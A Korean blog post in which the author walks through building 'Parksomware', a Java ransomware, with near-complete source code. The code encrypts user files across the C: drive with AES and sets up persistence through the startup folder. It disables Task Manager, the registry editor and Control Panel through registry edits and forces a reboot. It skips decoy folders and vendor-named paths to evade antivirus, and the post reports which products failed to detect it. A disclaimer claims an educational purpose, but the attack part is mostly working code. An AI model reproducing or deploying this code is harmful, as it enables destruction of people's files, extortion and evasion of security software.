Java로 만든 랜섬웨어, Parksomware

ParkMini·2023년 12월 24일
post-thumbnail

시작하기 앞서

이 글을 읽고 랜섬웨어를 제작하여 배포할 생각이라면 뒤로 돌아가시기 바랍니다.

이 글을 읽고 비슷한 목적의 프로그램 혹은 동일한 목적의 프로그램을 만들게 될 경우, 교육적 목적에 한정해 사용되어야 하고, 통제된 환경에서만 실행해야 하며, 일반적인 배포는 절대로 금지되어야 합니다.

저는 어떠한 악의적인 목적도 없이 순수하게 학습 목적으로만 이 프로젝트를 진행할 것임을 분명히 합니다.

Parksomware Github Repository


최근까지 저는 주로 백엔드 웹 프로젝트에 집중해왔습니다. 그러던 중, 일반 자바 프로그램 개발에 대한 관심이 생겨 새로운 프로젝트 아이디어를 찾기 시작했습니다.

제 마음속에는 다양한 생각들이 스쳐 지나갔습니다. 특히, 예전에 사회적으로 많은 논란이 되었던 랜섬웨어에 대한 기억이 떠올랐습니다. '랜섬웨어와 같은 프로그램을 직접 만들어볼까?'라는 생각이 들었죠.
물론, 나쁜 목적이 아닌 순전히 기술적인 관점에서 이러한 프로그램이 어떻게 작동하는지 궁금했습니다.

이전에 파이썬을 이용해 랜섬웨어와 유사한 원리의 프로그램을 만든 경험이 있었습니다. 하지만, 그 당시 제작한 프로그램은 행위 기반 바이러스 탐지 기능을 가진 백신에 너무 쉽게 탐지되어 아쉬움이 남았습니다. 이번에는 자바를 이용해 좀 더 진보된 형태의 프로그램을 만들어보고자 합니다.

새로운 프로젝트를 시작하면서, 저는 이번 프로젝트를 통해 내가 얼마나 성장했는지 알아보고, 이러한 프로그램이 어떻게 탐지되고 대응할 수 있는지에 대한 이해도도 높이고자 합니다.


랜섬웨어란 무엇일까?

랜섬웨어는 사용자의 파일이나 시스템을 암호화하여 접근을 차단하고, 이를 해제하기 위해 금전적 요구를 하는 악성 소프트웨어입니다.

4단계 작동 원리

  1. 실행 단계: 랜섬웨어가 사용자의 PC에서 실행되어 감염 과정을 시작합니다.
  2. 인덱싱 단계: 랜섬웨어는 시스템 내에서 암호화할 대상 파일들을 탐색합니다.
  3. 암호화 단계: 발견된 파일들을 암호화하여 사용자가 파일에 접근할 수 없게 만듭니다.
  4. 통지 단계: 암호화가 완료된 후, 사용자에게 PC가 감염되었음을 알리고, 파일을 복호화하기 위해 금전을 지불하라는 요구를 텍스트나 이미지 형태로 전달합니다.

만들어 보자

어떤 기능을 만들까?

랜섬웨어를 제작하려면, 다음과 같은 핵심 기능들을 구현해야 합니다.

  1. Command-line Handling (명령줄 핸들링): 사용자가 입력한 명령줄 인자에 따라 암호화 또는 복호화 작업을 수행하도록 합니다.

  2. Encrypt (암호화 기능): 시스템 내의 파일들을 탐색하고 암호화하는 기능입니다.

  3. Decrypt (복호화 기능): 암호화된 파일들을 원래 상태로 되돌리는 복호화 기능입니다.

  4. README (감염 통지 기능): 사용자에게 PC가 감염되었으며, 복호화를 위해 금전을 지불해야 함을 알리는 메시지를 표시합니다.

  5. ChangeDesktop (바탕화면 변경 기능): README와 같이 PC가 감염되었음을 알리는 감염 통지 기능입니다.

  6. ServiceBlock (시스템 기능 차단): 작업 관리자와 같은 시스템 기능을 비활성화하여 사용자가 랜섬웨어를 제거하거나 중지하는 것을 방지합니다.

  7. SystemReboot (시스템 재부팅): 암호화 과정이 완료된 후 시스템을 자동으로 재부팅하여 변화를 적용합니다.


1. 명령줄 핸들링 (Main.java)

명령줄 인자(Command Line Argument) 를 활용하면 프로그램 실행 시 인자 값을 전달할 수 있어, 다양한 상황에 대응하는 데 유용합니다. 이 기능을 통해 프로그램이 실수로 실행되었을 때, 적절한 인자 값이 없으면 프로그램이 바로 작동하지 않도록 하여, 개발 중에 컴퓨터가 실수로 암호화되는 것을 방지할 수 있습니다. 또한, 암호화와 복호화 기능을 인자 값으로 구분하여 각각의 로직을 처리할 수 있습니다.

public class Main {
    public static void main(String[] args) throws Exception {
        if (args.length != 1) {
            return;
        }

        String option = args[0];

        if (option.equals("-encrypt")) {
        	// 암호화 로직
        } else if (option.equals("-decrypt")) {
        	// 복호화 로직
        } else {
            System.out.println("Invalid option: " + option);
        }
    }
}

위 코드에서는 인자 값으로 -encrypt 를 사용하게 되면 암호화를, -decrypt 를 사용하면 복호화를 진행하도록 하였습니다.
예) java -jar "Parksomware.jar" -encrypt


2. 암호화 기능 (Encrypt.java)

랜섬웨어에서 가장 중요한 기능 중 하나는 파일을 암호화하여 접근을 차단하는 것입니다.
Parksomware는 AES 알고리즘을 사용하여 파일 암호화를 진행하였습니다.
AES 알고리즘은 128비트, 192비트, 256비트 길이의 키를 사용할 수 있습니다.

  1. 암호화 키 생성: 간단하고 효율적인 방법으로 UUID를 사용하여 암호화 키를 생성합니다.

    private static final String KEY = UUID.randomUUID().toString().replaceAll("-", "");

    Java에서 UUID.randomUUID()를 호출하면 UUIDv4 형식의 고유 식별자가 생성됩니다. UUIDv4는 8-4-4-4-12의 형태를 가지며, 총 36자로 구성됩니다. 예를 들어 6415b17a-a9dd-4afd-bfcd-8f0e336689b1과 같은 형태입니다. 여기서 하이픈('-')을 제거하면, 6415b17aa9dd4afdbfcd8f0e336689b1과 같이 32자(128비트, 16바이트) 길이의 문자열이 됩니다.

    이렇게 생성된 키는 AES-128 암호화에 적합한 길이를 가지게 됩니다. 하이픈을 제거한 UUIDv4 결과는 128비트, 즉 16바이트에 해당하며, 이는 AES-128 암호화에 필요한 키 길이와 일치합니다. 이 방법은 간편하고 신속하게 키를 생성할 수 있는 장점이 있습니다.

  2. 암호화 할 파일 확장자 정하기: 효율성을 높이기 위해 모든 파일을 암호화하는 것보다는 사용자에게 중요할 수 있는 문서, 이미지, 비디오, 실행 파일 등을 중점적으로 암호화함으로써 프로세스의 속도를 빠르게 합니다.

    private static final List<String> EXTENSIONS = Arrays.asList(
            ".doc", ".docx", ".pdf", ".txt", ".ppt", ".pptx", ".xls", ".xlsx", ".csv",
            ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tiff", ".svg",
            ".mp4", ".avi", ".mov", ".wmv", ".flv", ".swf", ".mkv",
            ".exe", ".msi", ".dll",
            ".java", ".py", ".js", ".cpp", ".c", ".cs", ".rb", ".php", ".go", ".rs", ".swift",
            ".html", ".css", ".scss", ".less", ".ts", ".vue", ".json", ".xml",
            ".sh", ".bat", ".cmd", ".ps1",
            ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz"
    );

    EXTENSIONS에 문서, 이미지, 비디오, 실행 파일, 라이브러리 파일, 프로그래밍 & 스크립트 파일, 압축 파일의 일반적인 확장자를 저장하였습니다.

  3. 파일 탐색 및 수집: 재귀적으로 파일 시스템을 탐색하여 암호화 할 파일을 수집합니다.

    private static boolean hasValidExtension(String fileName) {
        String lowerCaseFileName = fileName.toLowerCase();
        return EXTENSIONS.stream().anyMatch(extension -> lowerCaseFileName.endsWith(extension));
    }
    
    private static void collectFiles(File directory, List<File> files) {
        String dirPath = directory.getAbsolutePath();
        
        File[] found = directory.listFiles();
        if (found != null) {
            for (File file : found) {
                if (file.isDirectory()) {
                    collectFiles(file, files);
                } else {
                    if (hasValidExtension(file.getName())) {
                        files.add(file);
                    }
                }
            }
        }
    }

    디렉토리 내의 모든 파일과 하위 디렉토리를 탐색하고 이를 배열로 만듭니다.
    찾은 파일이 디렉토리일 경우에는 collectFiles 함수를 재귀적으로 호출하여 하위 디렉토리를 탐색하고, 파일일 경우에는 EXTENSIONS 변수에 있는 확장자일 경우 files에 추가합니다.

  4. 안티 바이러스(백신) 우회하기 및 시스템 파일 건너뛰기: 안티 바이러스 소프트웨어의 탐지를 우회하고 시스템 파일을 건너뛰어 사용자의 중요 파일을 중점적으로 암호화 하도록 합니다.

    Parksomware에서는 탐색 제외 폴더 리스트, 탐색 제외 키워드를 만들어 탐색 과정에서 건너뛰도록 하여 접근 및 암호화를 하지 않도록 하였습니다.

    몇몇 안티 바이러스 소프트웨어는 특수 문자로 시작하는 이름을 가진 폴더에 디코이 파일을 생성하여 행위 기반 탐색을 하고 있습니다.
    이는 랜섬웨어가 암호화 할 파일을 탐색할때 특수 문자 -> 숫자 -> 영어 순으로 탐색하는 것을 이용한 것입니다.


    디코이 파일이란?

    디코이 파일은 공격자를 속이기 위해 만들어진 가짜 파일입니다. 쉽게 말하면 랜섬웨어와 같은 프로그램을 잡기 위한 미끼 파일입니다.
    일반적으로 실제 파일(문서, 사진, 영상)처럼 보이게 만들어놓으며, 안티 바이러스 프로그램에서는 이 파일에 대한 접근을 모니터링함으로써 랜섬웨어와 같은 프로그램의 공격을 감지하는데 큰 도움이 됩니다.


    랜섬웨어가 암호화를 시작하였다면 디코이 파일에 첫번째로 접근해야 안티 바이러스에서 탐지하여 즉시 프로세스를 중단하고 추가적인 암호화를 막을 수 있으므로 디코이 파일이 있는 폴더는 보통 특수문자로만 이루어져있거나 시작 문자가 특수문자로 이루어져 우선순위를 높입니다.

    // Anti-Decoy
    private static boolean containsSpecialCharacters(String dirPath) {
        return dirPath.matches(".*[^a-zA-Z0-9\\\\\\/: \\-_.()\\[\\]{}~\\uAC00-\\uD7AF].*");
    }

    matches(regax)를 사용하여 영문자, 숫자, 툭수 문자(, /, :, -, _, ., (, ), [, ], {, }, ~), 한글 유니코드(AC00~D7AF)만 허용하고, 이외의 다른 툭수 문자가 포함되어 있다면 true를 반환하게하여 디코이 파일로 의심되는 파일을 건너뛸 수 있도록 하였습니다.

    위에서 Decoy 파일에 대해 우회하였으나 이번에는 안티 바이러스의 자체 보호 시스템에 의해 탐지 되는 것을 우회해야 합니다.
    또한 윈도우 주요 파일에 접근하게 될 경우에도 안티 바이러스에 있는 운영체제 보호 시스템에 의해 탐지 되는 것 또한 우회해야 합니다.
    또, README 파일과 Wallpaper 파일을 Drop할 폴더 또한 암호화가 되면 안되기에 예외 폴더에 등록하였습니다.

    private static final List<String> EXCLUDED_FOLDERS = Arrays.asList(
    	"C:\\Windows",
        System.getenv("APPDATA") + "\\Parksomware",
        "C:\\$Recycle.Bin",
        "C:\\$WinREAgent",
        "C:\\Program Files",
        "C:\\Program Files (x86)",
        System.getenv("userprofile") + "\\Appdata\\Local"
    );
    
    private static final List<String> EXCLUDED_KEYWORDS = Arrays.asList(
        "Estsoft",
        "Ahnlab",
        "Kaspersky Lab",
        "Windows",
        "Microsoft"
    );
    
    private static boolean isExcludedFolder(String dirPath) {
        return EXCLUDED_FOLDERS.stream().anyMatch(folder -> dirPath.toLowerCase().startsWith(folder.toLowerCase()));
    }
    
    private static boolean containsExcludedKeyword(String dirPath) {
        return EXCLUDED_KEYWORDS.stream().anyMatch(keyword -> dirPath.toLowerCase().contains(keyword.toLowerCase()));
    }

    EXCLUDED_FOLDERS 에서는 탐색 과정에서 건너 뛸 파일 경로를 추가하였습니다.
    시스템 폴더 Recycle.Bin, WinReAgent 등을 건너 뛸 파일 경로에 추가하였고, 설치된 프로그램은 암호화 하더라도 재설치를 통해 쉽게 복구 할 수 있어 예외 처리 하였습니다.

    EXCLUDED_KEYWORDS 에서는 탐색 과정에서 건너 뛸 키워드를 추가하였습니다.
    이는 보통 안티 바이러스 자체 보호 시스템을 우회하기 위해 만들었습니다.

    if (isExcludedFolder(dirPath) || containsExcludedKeyword(dirPath) || containsSpecialCharacters(dirPath)) {
           return;
       }

    collectFiles 메서드에 if문을 추가하여 만약 3개의 예외 처리 중 하나라도 충족 할 경우 탐색에서 건너뛰도록 합니다.


  1. 암호화 하기

Parksomware는 encryptFile 메서드를 사용하여 파일을 암호화합니다. 이 과정에서 파일은 먼저 바이트 배열로 변환되어 읽히고, 그 후 encrypt 메서드를 사용하여 암호화됩니다.

private static void encryptFile(File file) {
    try {
        Path filePath = file.toPath();
        byte[] fileContent = Files.readAllBytes(filePath);
        byte[] encryptedContent = encrypt(fileContent);
        Files.write(filePath, encryptedContent);
    } catch (Exception ignored) {
    }
}

private static byte[] encrypt(byte[] data) throws Exception {
  Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
  SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), "AES");
  cipher.init(Cipher.ENCRYPT_MODE, secretKey);
  return cipher.doFinal(data);
}

encryptFile 메서드는 주어진 파일을 읽고, encrypt 메서드를 통해 암호화한 후 다시 파일에 씁니다. 이러한 방식으로 파일의 내용은 암호화된 데이터로 변경됩니다.

public static void runEncryption() {
    List<File> filesToEncrypt = new ArrayList<>();
    File root = new File("C:\\");

    collectFiles(root, filesToEncrypt);

    Collections.sort(filesToEncrypt, Comparator.comparingInt(file -> file.getPath().length()));
    Collections.reverse(filesToEncrypt);

    List<String> encryptedFiles = new ArrayList<>();

    for (File file : filesToEncrypt) {
        try {
            encryptFile(file);
            encryptedFiles.add(file.getAbsolutePath());
        } catch (Exception ignored) {
        }
    }

    try (FileWriter writer = new FileWriter(System.getenv("APPDATA") + "\\Parksomware\\encrypted.txt")) {
        writer.write(KEY + System.lineSeparator());
        for (String filePath : encryptedFiles) {
            writer.write(filePath + System.lineSeparator());
        }
    } catch (Exception ignored) {
    }
}

runEncryption 메서드를 통해 암호화 로직을 실행할 수 있게 하고, 암호화 키와 암호화 된 파일의 경로는 %APPDATA%\Parksomware\encrypted.txt에 저장되도록 하였습니다.


ECB모드와 PKCS5 패딩이란?

AES/ECB/PKCS5Padding은 AES 암호화 알고리즘의 특정 구성을 나타냅니다.

  • ECB (Electronic Codebook): ECB 모드는 데이터를 독립된 블록으로 나누어 각각 암호화하는 방식입니다. 이 모드의 문제점은 같은 데이터 블록에 대해 항상 동일한 암호문을 생성한다는 것입니다. 이는 일정한 패턴의 데이터가 있을 때 패턴이 암호문에도 나타날 수 있음을 의미합니다.

ECB 작동 원리

ECB 방식의 암호화 예제 이미지 출처 : wikipedia (Block cipher mode of operation)

  • PKCS5Padding: PKCS5 패딩은 데이터가 AES 블록 크기에 맞지 않을 경우 사용됩니다. 예를 들어, 데이터가 블록 크기보다 작다면, 부족한 부분을 채우기 위해 특정 값을 추가합니다. (8바이트의 블럭에 5바이트만 채워져 있다면 3의 값을 가진 바이트를 3개 추가하여 8바이트를 모두 채웁니다.)

3. README 파일 생성하기 (CreateReadme.java)

README 파일은 사용자의 컴퓨터가 랜섬웨어에 감염되었음을 알리고, 복호화를 위한 금전적 요구사항을 전달하는 역할을 합니다.

README 파일은 HTML과 CSS를 사용하여 UI를 구성하였습니다.

Parksomware README.html

Parksomware는 %APPDATA%\Parksomware 경로에 필요한 파일을 저장합니다. 이 경로에는 README 파일과 배경 이미지(background.png)가 포함됩니다.

private static final String PARKSOMWARE_DIR = System.getenv("APPDATA") + "\\Parksomware";

resources에 background.pngREADME.html을 위치시키고 빌드 시 jar파일에 포함되도록 build.gradle.kts를 수정하였습니다.

sourceSets {
    main {
        resources {
            srcDir("src/main/resources")
        }
    }
}
  1. 파일 추출 : resource에서 파일을 추출하고, 지정된 디렉토리에 저장하도록 합니다.

    private static Path extractResourceToFile(String resourceFileName, String targetDirectory) throws IOException {
        Path filePath = Paths.get(targetDirectory, resourceFileName.substring(resourceFileName.lastIndexOf("/") + 1));
        try (InputStream is = CreateReadme.class.getResourceAsStream(resourceFileName)) {
            if (is == null) {
                throw new FileNotFoundException(resourceFileName + " not found in Jar file.");
            }
            Files.copy(is, filePath, StandardCopyOption.REPLACE_EXISTING);
        }
        return filePath;
    }
  2. 바로가기 생성 : 사용자의 바탕화면에 README 파일에 대한 바로가기를 생성합니다.

    private static void addToDesktopShortcut(Path filePath) {
        try {
            Path desktopPath = Paths.get(System.getProperty("user.home"), "Desktop");
            Path shortcutPath = desktopPath.resolve(filePath.getFileName().toString() + ".lnk");
    
            String script = "powershell \"$s = (New-Object -COM WScript.Shell).CreateShortcut('" + shortcutPath + "'); "
                    + "$s.TargetPath = '" + filePath + "'; $s.Save()\"";
            Process process = Runtime.getRuntime().exec(script);
    
            int attempts = 0;
            while (!Files.exists(shortcutPath) && attempts < 10) {
                Thread.sleep(500);
                attempts++;
            }
    
            if (Files.exists(shortcutPath)) {
                if (Desktop.isDesktopSupported() && Desktop.getDesktop().isSupported(Desktop.Action.OPEN)) {
                    Desktop.getDesktop().open(shortcutPath.toFile());
                }
            }
        } catch (Exception ignored) {
        }
    }

    바로가기 파일을 생성하기 위해 Powershell을 사용하였고, 이는 Runtime 클래스로 실행시켜 바로가기를 생성합니다.

    바로가기 파일이 정상적으로 생성 되었는지 확인하기 위해 while문으로 파일이 생성 되었는지 확인합니다.
    만약 파일이 생성 되었으면 Desktop 클래스를 사용하여 바탕화면에 생성 된 README 파일을 실행시켜 사용자에게 감염 되었음을 알립니다.

  3. 시작 프로그램 등록 : 사용자가 PC를 재부팅 하더라도 아직까지 감염 되었음을 알려주기 위해 시작 프로그램에 README 파일을 등록하겠습니다.

    private static void addToStartup(Path filePath) {
        try {
            String startupFolderPath = System.getenv("APPDATA") + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";
            Path shortcutPath = Paths.get(startupFolderPath, filePath.getFileName().toString() + ".lnk");
    
            String script = "powershell \"$s = (New-Object -COM WScript.Shell).CreateShortcut('" + shortcutPath.toString() + "'); "
                    + "$s.TargetPath = '" + filePath.toString() + "'; $s.Save()\"";
    
            Process process = Runtime.getRuntime().exec(script);
        } catch (Exception ignored) {
        }
    }

    바탕화면에 바로가기를 생성하는 것과 거의 같은 코드로써 Powershell을 이용하여 시작 프로그램 경로에 바로가기 파일을 생성하여 매 부팅 시 README 파일을 실행시키도록 하였습니다.


4. 바탕화면 변경하기 (WallpaperChanger.java)

사용자에게 사용자의 PC가 랜섬웨어에 감염 되었음을 알리는 또 다른 좋은 방법은 바탕화면(Wallpaper)를 변경하는 것 입니다.
로직은 README 파일을 생성하는 것과 비슷하지만 레지스트리의 값을 수정하고 적용 하는 부분이 추가 되었습니다.

public static void setDesktopBackground(String imagePath) {
    String command = "powershell.exe Set-ItemProperty -path 'HKCU:\\Control Panel\\Desktop' -name WallPaper -value '" + imagePath + "'";

    ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c", command);
    processBuilder.redirectErrorStream(true);
    try {
        Process process = processBuilder.start();

        int exitCode = process.waitFor();
        if (exitCode == 0) {
            applyChanges();
        }
    } catch (Exception ignored) {
    }
}

private static void applyChanges() {
    ProcessBuilder processBuilder = new ProcessBuilder("RUNDLL32.EXE", "user32.dll,UpdatePerUserSystemParameters");
    processBuilder.redirectErrorStream(true);
    try {
        Process process = processBuilder.start();
        process.waitFor();
    } catch (Exception ignored) {
    }
}

바탕화면을 변경하는데에는 두가지의 핵심 포인트가 있습니다.

  • 레지스트리 수정 : Powershell을 사용하여 HKCU:\Control Panel\Desktop 경로에 있는 WallPaper 값을 Parksomware 경로에 있는 이미지 파일(background.png)의 경로로 설정합니다.
  • 변경 사항 적용 : 레지스트리를 편집하여 바탕화면을 수정하였으나 이는 바로 적용되지 않으므로, RUNDLL32.EXE 를 사용하여 user32.dllUpdatePerUserSystemParameters 함수를 실행합니다.
    이 함수가 실행되면 사용자별 시스템 매개변수를 업데이트하여, 변경된 바탕화면을 실시간으로 반영하게 됩니다.

Powershell을 사용하여 레지스트리에 Wallpaper의 값을 imagePath 경로로 설정하고 applyChanges() 메서드를 호출합니다.
applyChanges() 메서드가 호출되면 RUNDLL32.EXE를 사용하여 user32.dll 라이브러리 파일 내의 UpdatePerUserSystemParameters 함수를 호출하여 윈도우의 사용자별 시스템 매개변수를 업데이트 하는 역할을 수행합니다.
이렇게 함으로써 바탕화면이 변경 되었을 때 즉시 적용을 할 수 있도록 하였습니다.


5. 시스템 기능 차단 (ServiceBlock.java)

사용자가 랜섬웨어의 동작을 방해하는 것을 막기 위해 시스템 기능(작업 관리자, 제어판, 레지스트리 편집기) 등을 실행하지 못하도록 할 것 입니다.

private static void setRegistryValue(String path, String name, String value) {
    try {
        String command = "reg add \"" + path + "\" /v " + name + " /t REG_DWORD /d " + value + " /f";
        Runtime.getRuntime().exec(command);
    } catch (IOException ignored) {
    }
}

setRegistryValue 메서드를 통해 특정 경로에 name 레지스트리를 등록하고, 값을 value 으로 설정합니다.

public static void disableTaskManager() {
    try {
        setRegistryValue("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableTaskMgr", "1");
    } catch (Exception ignored) {
    }
}

public static void disableRegistryEditor() {
    try {
        setRegistryValue("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableRegistryTools", "1");
    } catch (Exception ignored) {
    }
} ...

System 레지스트리 키를 사용하는 기능들

  • 레지스트리 경로: HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System

    기능 설명이름
    작업 관리자 비활성화DisableTaskMgr1
    레지스트리 편집기 비활성화DisableRegistryTools1
    비밀번호 변경 옵션 비활성화DisableChangePassword1

Explorer 레지스트리 키를 사용하는 기능들

  • 레지스트리 경로: HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

    기능 설명이름
    제어판 접근 차단NoControlPanel1
    폴더 옵션 비활성화NoFolderOptions1
    실행 명령 비활성화NoRun1
    시스템 속성 접근 차단NoPropertiesMyComputer1
    로그오프 옵션 비활성화StartMenuLogOff0
    종료 옵션 비활성화NoClose1

이렇게 하여, 사용자가 시스템을 복구하거나 랜섬웨어를 쉽게 제거하지 못하도록 하였습니다.


6. 시스템 재시작하기(SystemReboot.java)

랜섬웨어의 모든 작업이 완료된 후에는, 사용자의 파일이 암호화되고 시스템의 여러 기능이 차단된 상태가 됩니다. 하지만 바탕화면 변경이나 시스템 기능 차단 등의 레지스트리 수정 작업은 실시간으로 반영되지 않을 수 있습니다.

이러한 변경 사항을 확실하게 적용하기 위해서는 시스템을 재시작 하는 것이 좋습니다.

Windows의 shutdown 명령어를 사용하여 컴퓨터를 즉시 재부팅 하도록 하였습니다.

public static void reboot() {
    try {
        Runtime.getRuntime().exec("shutdown -r -t 0 -f");
    } catch (IOException ignored) {
    }
}
  • -r : 재부팅(Reboot)을 의미합니다.
  • -t 0 : 타이머를 0초로 설정합니다. (즉시 재부팅)
  • -f : 실행 중인 프로그램을 강제로 종료합니다. (Force)

7. 복호화 하기(Decrypt.java)

랜섬웨어에 의해 암호화된 파일들을 복호화 키를 입력하여 원래 상태로 복원 할 수 있도록 하겠습니다.

public static void runDecryption() {
    try {
        File encryptFile = new File(System.getenv("APPDATA") + "\\Parksomware\\encrypted.txt");
        List<String> lines = readLines(encryptFile);

        if (lines.size() < 2) {
            System.err.println("올바르지 않은 암호화 데이터");
            return;
        }

        Scanner sc = new Scanner(System.in);
        System.out.print("복호화 키를 입력하세요: ");
        String userInput = sc.nextLine();

        String key = lines.get(0);
        if (!userInput.equals(key)) {
            System.err.println("키가 일치하지 않습니다.");
            return;
        }

        List<String> encryptedFilePaths = lines.subList(1, lines.size());

        encryptedFilePaths.forEach(filePath -> {
            try {
                File file = new File(filePath);
                if (file.exists()) {
                    decryptFile(file, key);
                    System.out.println("200: " + filePath);
                } else {
                    System.err.println("404: " + filePath);
                }
            } catch (Exception e) {
                System.err.println("500: " + filePath);
            }
        });

    } catch (Exception ignored) {
    }
}

private static List<String> readLines(File file) throws Exception {
    List<String> lines = new ArrayList<>();
    try (BufferedReader br = new BufferedReader(new FileReader(file))) {
        String line;
        while ((line = br.readLine()) != null) {
            lines.add(line);
        }
    }
    return lines;
}

runDecrypt 메서드가 실행되면 readLines 메서드에서 encrypted.txt 파일을 읽어 복호화 키와 암호화된 파일의 목록을 불러옵니다.

Scanner를 사용하여 사용자로부터 복호화 키를 입력 받고, 저장된 키와 일치하지 않으면 오류 메시지를 출력하고 복호화 프로세스를 종료합니다.

키가 일치하는 경우, 암호화 된 파일을 decryptFile 메서드를 호출하여 복호화를 수행합니다.

private static void decryptFile(File file, String key) throws Exception {
    byte[] fileContent = Files.readAllBytes(file.toPath());
    byte[] decryptedContent = decrypt(fileContent, key.getBytes());

    Files.write(file.toPath(), decryptedContent);
}

private static byte[] decrypt(byte[] data, byte[] key) throws Exception {
    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    SecretKeySpec secretKey = new SecretKeySpec(key, "AES");
    cipher.init(Cipher.DECRYPT_MODE, secretKey);
    return cipher.doFinal(data);
}

decryptFile 메서드는 파일을 읽고, decrypt 메서드를 사용하여 해당 파일을 복호화 한 후, 파일 위치에 다시 작성합니다.
decrypt 메서드는 Cipher 클래스를 사용하여 AES 암호화 알고리즘으로 데이터를 복호화 하고, 복호화 된 값을 return 합니다.


랜섬웨어의 모든 기능을 구현하였습니다. 이제 jar 파일로 컴파일 후 안티 바이러스와의 대결을 진행해보겠습니다.

평가하기 (AntiVirus VS Parksomware)

랜섬웨어를 제작할 때, 안티 바이러스에 탐지되지 않도록 개발하였으니 테스트를 해봐야겠죠.
동일한 조건에서 테스트를 위해, png 파일 1개, mp4 파일 1개, txt 파일 1개, zip 파일 1개, exe 파일 3개 를 생성해놓고 외부 네트워크 통신을 차단한 상태로 진행하였습니다.

미탐지 안티 바이러스

  • 알약 v2.5 : 고스트 디코이 파일을 생성하여 파일 수정을 탐지하거나 알약 주요 파일을 수정하게 되면 자가 보호 시스템이 악성코드를 감지합니다.
    예외 키워드 및 정규 표현식으로 우회하였습니다.
    테스트 영상 보기

  • V3 Lite : V3 Lite는 고스트 디코이 파일을 생성하여 파일 수정을 탐지하고 멀티레이어드 랜섬웨어 대응 프로세스로 악성코드를 감지합니다.
    Parksomware 실행 과정에서는 멀티레이어드 랜섬웨어 대응 프로세스가 동작하지 않았으며, 예외 키워드 및 정규 표현식으로 우회하였습니다.
    테스트 영상 보기

  • ESET SMART SECURITY PREMIUM : 다중 계층 보호 기능으로 랜섬웨어로부터 보호합니다.
    별 다른 우회 없이 Parksomware가 정상적으로 실행되었습니다.
    테스트 영상 보기

  • McAfee : McAfee 토탈 프로텍션은 랜섬웨어 공격으로부터 사용자를 보호합니다.
    별 다른 우회 없이 Parksomware가 정상적으로 실행되었습니다.
    테스트 영상 보기

탐지한 안티 바이러스

  • Kaspersky Premium : README 생성, 바탕화면 변경, 시스템 기능 차단이 모두 동작하고 암호화 과정에서 Kaspersky가 Parksomware의 프로세스를 종료하였습니다.
    txt, png, zip 파일은 Kaspersky가 되돌리는데 성공하였으나, mp4는 암호화 된 상태가 유지되었습니다.
    테스트 영상 보기

  • Bitdefender : README 생성, 바탕화면 변경은 동작하였으나, 작업 관리자 기능을 차단하는 과정에서 레지스트리 편집을 감지하고 Parksomware의 프로세스를 종료하였습니다.
    시스템 기능 차단(ServiceBlock.blockAll())을 비활성화 하면 Parksomware가 정상적으로 실행되었습니다.
    테스트 영상 보기

  • Avast : 랜섬웨어 감시 기능에 의해 DOCUMENTS, PICTURES, DESKTOP, VIDEOS, MUSIC 디렉토리에서 파일 쓰기 작업을 수행하면 사용자에게 실행을 차단할 것인지 허용할 것인지 물어봅니다.
    이 과정에서 실행을 차단하게 된다면 이미 암호화 된 파일은 암호화 된 상태로 유지되며, 추가적인 암호화는 차단됩니다.


마치며

Parksomware를 개발하며 백신에 걸리지 않는 랜섬웨어를 만들고자 백신의 작동 원리에 대해 공부하게 되었고, 파일 암호화 과정에서 암호학에 대해서도 깊이 있게 탐구하게 되었습니다.

이 프로젝트를 마치며 느끼게 된 점 몇가지를 말씀드리며 마치겠습니다.

  • 국내 백신과 해외 백신의 차이
    백신 우회를 테스트 하기 위해 가상 환경을 구축하고 여러 백신을 돌려가며 알아낸 점이 있습니다.
    해외 백신은 의심스러운 행위를 감지하면 즉시 프로세스를 중단시키고 사용자에게 실행 여부를 선택하게 하거나, 프로그램을 실행하기 전 상태로 되돌립니다.
    반면, 국내 백신은 설정된 조건을 만족시키지 않으면 프로그램이 그대로 실행되게 하거나, 분석 서버로 파일을 전송하라는 팝업을 띄우는 방식으로 작동합니다.

  • Java 언어의 한계
    Java를 사용하여 랜섬웨어를 개발하다보니, 개발 도중 여러 문제에 직면하였습니다.
    바탕화면 변경이나 시스템 기능 차단과 같은 작업은 CMD나 PowerShell의 도움 없이는 불가능하였습니다.
    PowerShell을 사용하는 과정에서는 백신이 명령어를 감지하여 실행을 차단하는 경우도 있었습니다.
    (Bitdefender의 작업 관리자 레지스트리 등록 시 차단)

  • 프로젝트의 한계와 성취
    실제 유포되는 랜섬웨어와 달리 C&C 서버와의 통신 등 많은 기능을 구현하지는 못했습니다.
    그러나 이 프로젝트는 각 메서드의 역할 분담과 다양한 문법과 클래스 학습을 목적으로 했기 때문에,
    개인적으로는 만족스러운 결과를 얻게 되었습니다.

현재는 백신의 감지를 피해가고 있지만, 시간이 흐르면 나의 랜섬웨어도 보안 기술의 진화 앞에 드러나게 될 것이다.

profile
!me.equals(normal)

7개의 댓글

comment-user-thumbnail
2023년 12월 24일

최근에 보안 관련해서 얕게 학습하고 있었는데 재밌고 유익한 글 잘 읽었습니다!

1개의 답글
comment-user-thumbnail
2023년 12월 24일

나 CSeungjoo인데 개추눌렀다.

1개의 답글
comment-user-thumbnail
2023년 12월 25일

좋은 글입니다

답글 달기
comment-user-thumbnail
2023년 12월 26일

보안분야에 대한 지식이 조금 늘었습니다 감사합니다!

답글 달기